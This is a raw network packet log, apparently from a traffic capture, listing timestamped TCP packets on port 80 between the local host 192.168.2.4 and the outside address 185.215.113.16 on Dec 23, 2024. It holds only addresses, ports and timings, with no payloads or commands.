Dec 23, 2024 08:08:04.200424910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.200480938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.200510979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.200526953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.200566053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.201390982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.201455116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.201472044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.201522112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.202528954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.202585936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.202642918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.202660084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.202699900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.203368902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.203403950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.203418970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.203470945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.204308987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.204371929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.204380989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.204396963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.204502106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.205291986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.205327988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.205343962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.205368042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.206262112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.206305027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.206312895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.206337929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.206377029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.207221985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.207293987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.207309008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.207331896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.208252907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.208309889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.208321095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.208337069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.208388090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.209153891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.209232092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.209247112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.209294081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.210134029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.210179090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.210196018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.210211039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.210258007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.211098909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.211173058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.211186886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.211237907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.212079048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.212131023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.212153912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.212168932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.212222099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.213032007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.213407993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.263279915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.263329983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.263348103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.263394117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.263700008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.263744116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.263807058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.264244080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.264291048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.264338017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.264851093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.264935017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.264950037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.264974117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.264996052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.265827894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.265891075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.265906096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.265925884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.266834974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.266879082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.266879082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.266892910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.267201900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.267779112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.267900944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.267920971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.267946005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.268775940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.268801928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.268825054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.318180084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.322874069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.322890043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.323024035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.323046923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.323117971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.323129892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.323172092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.323987961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.324040890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.324073076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.324084997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.324126959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.324961901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.325051069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.325062990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.325103998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.325943947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.326025963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.326036930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.326049089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.326092958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.326910019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.326980114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.326992035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.327028990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.327876091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.327918053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.327929020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.327941895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.327975035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.328846931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.380670071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.384542942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.384602070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.384618044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.384726048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.385016918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.385092974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.385099888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.385117054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.385178089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.385961056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.386585951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.386642933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.386646986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.386653900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.386698008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.387175083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.387268066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.387280941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.387370110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.388159037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.388247967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.388258934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.388302088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.389120102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.389195919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.389209032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.389245987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.390100956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.390166998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.390173912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.390186071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.390244961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.391067028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.391169071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.391181946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.391222000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.392034054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.392116070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.392118931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.392128944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.392191887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.393014908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.393105030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.393116951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.393182993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.394078016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.394124031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.394140959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.394151926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.394182920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.394942045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.395021915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.395034075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.395056009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.395926952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.395993948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.396001101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.396008968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.396097898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.396886110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.396970987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.396982908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.397025108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.397887945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.397938013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.398021936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.398034096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.398071051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.398830891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.398910046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.398921013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.398952961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.399820089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.399871111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.399878025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.399889946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.400002003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.400804996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.400871992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.400882959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.400945902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.401731968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.401776075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.401810884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.401823997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.401860952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.402725935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.402812004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.402822971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.402864933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.403673887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.403724909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.403754950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.403768063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.403906107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.404635906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.404730082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.404742002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.404786110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.455394030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.455416918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.455430031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.455467939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.455523968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.457346916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.457840919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.457851887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.457894087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.458571911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.458583117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.458595037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.458606958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.458612919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.458625078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.458641052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.458686113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.458901882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.458950043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.459095955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.459109068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.459158897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.459798098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.459981918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.460038900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.460143089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.460978031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.460997105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.461025953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.505688906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.515327930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.515343904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.515407085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.515475035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.515784979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.515837908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.515858889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.515871048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.515904903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.516812086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.516834974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.516848087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.516937017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.517750978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.517798901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.517817020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.517828941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.517869949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.518758059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.518779039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.518789053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.518850088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.519678116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.519728899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.519741058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.519747972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.519793034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.520651102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.520737886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.520782948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.576699018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.576766014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.576781988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.576843977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.577204943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.577261925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.577290058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.577305079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.577348948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.578192949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.578768015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.578821898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.578835011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.578875065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.578886032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.579353094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.579375982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.579437971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.579895973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.579972982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.579996109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.580022097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.580900908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.580948114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.580950022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.580962896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.580997944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.581881046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.582003117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.582016945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.582040071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.582798958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.582855940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.582890987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.582916021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.582973003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.583858967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.583883047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.583899975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.583936930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.584780931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.584877014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.584892035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.584898949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.584950924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.585829020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.585886002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.585901022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.585944891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.586673021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.586738110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.586817980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.586833000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.586875916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.587690115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.587781906 CET	80	49744	185.215.113.16	192.168.2.4
